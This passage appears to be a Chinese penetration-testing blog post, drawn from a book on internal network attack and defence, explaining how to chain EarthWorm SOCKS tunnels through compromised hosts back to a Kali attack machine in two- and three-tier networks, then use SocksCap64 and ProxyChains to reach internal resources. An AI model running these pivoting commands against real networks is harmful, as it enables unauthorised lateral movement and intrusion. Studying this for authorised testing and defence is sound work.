(3)二级网络环境(a)

在这里插入图片描述

假设已经获得了A主机和B主机的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(192.168.52.10)只能连接内网中的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,但无法访问外网。

首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKs代理,命令如下。

ew -s ssocksd -l 888

然后,将EW上传到A主机中,执行如下命令。

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888

该命令的意思是:将1080端口收到的代理请求转发给B主机的888端口。现在就可以通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理了。

(4)二级网络环境(b)

在这里插入图片描述

假设已经获得了A主机和B主机的控制权限。A主机既没有公网IP地址,也无法访向内网资源。B主机可以访问内网资源,但无法访问外网。

首先,将EW上传到kali攻击机中,把1080端口收到的代理请求转发给888端口,执行如下命令。

ew -s lcx_listen -l 10800 -e 888

该命令的意思是:在公网kali攻击机中添加转接隧道,将10800端口收到的代理请求转发给888端口。接着,将EW上传到B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下。

ew -s ssocksd -l 999

然后,将EW上传到A主机中,执行如下命令。

ew -s lcx_slave -d 192.168.220.165 -e 888 -f 192。168.52.10 -g 999

该命令的意思是:在A主机上利用lcx_slave 方式,将攻击机的888端口和B主机的999端口连接起来。

(5)三级网络环境

在这里插入图片描述

三级网络环境在渗透测试中比较少见,也比较复杂。测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问; C主机可被B主机访问,而且能够访问核心区域。

首先,将EW上传到kali攻击机中,把1080端口收到的代理请求转发给888端口,执行如下命令。

ew -s rcsocks -l 1080 -e 888 

在A主机上执行如下命令,将kali攻击机的888端口和B主机的999端口连接起来。

ew -s lcx_slave -d 192.168.220.165 -e 888 -f <主机B IP地址> -g 999

在B主机上执行如下命令,将999端口收到的代理请求转发给777端口。

ew -s lcx_listen -l 999 -e 777

在C主机上启动SOCKS5服务,并反弹到B主机的777端口上,命令如下。

ew -s rssocks -d <主机B IP地址> -e 777

现在就可以通过访问kali攻击机的1080 端口使用在C主机上架设的SOCKS 5代理了。

2.2、在Windows下使用SocksCap64实现内网漫游

下载并安装SocksCap64, 以管理员权限打开程序。

在这里插入图片描述

SocksCap64的使用方法比较简单,单击“代理”按钮,添加一个代理,然后设置代理服务器:的IP地址和端口即可。设置完成后,可以单击界面上的闪电图标按钮,测试当前代理服务器是否可以连接。

在这里插入图片描述

选择浏览器,单击右键,在弹出的快捷菜单中单击“ 在代理隧道中运行选中程序”选项,就可以自由访问内网资源了。

2.3、在Linux下使用ProxyChains实现内网漫游

Kali Linux中预装了ProxyChains, 稍加配置就可以使用。打开终端,输人如下命令。

vi /etc/proxychains.conf

删除“dynamic_ chain" 前面的注释符“#”。来到窗口底部,把“127.0.0.1 9050”改成想要访问的端口的信息。

在这里插入图片描述

在这里插入图片描述

测试一下代理服务器是否能正常工作。在终端输入如下命令。

proxyresolv www.baidu.com

此时会显示“未找到命令”的提示信息。在终端输人如下命令。

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

再次测试代理服务器的工作是否正常。显示“OK",表示代理服务器已经正常工作了。现在就可以访问内网了。先访问内网中的网站。在终端输人“proxychains firefox"命令,启动火狐浏览器。

参考:《内网安全攻防 渗透测试实战指南》

posted @ 2022-07-06 18:24  爱吃_白菜  阅读(1081)  评论(0编辑  收藏  举报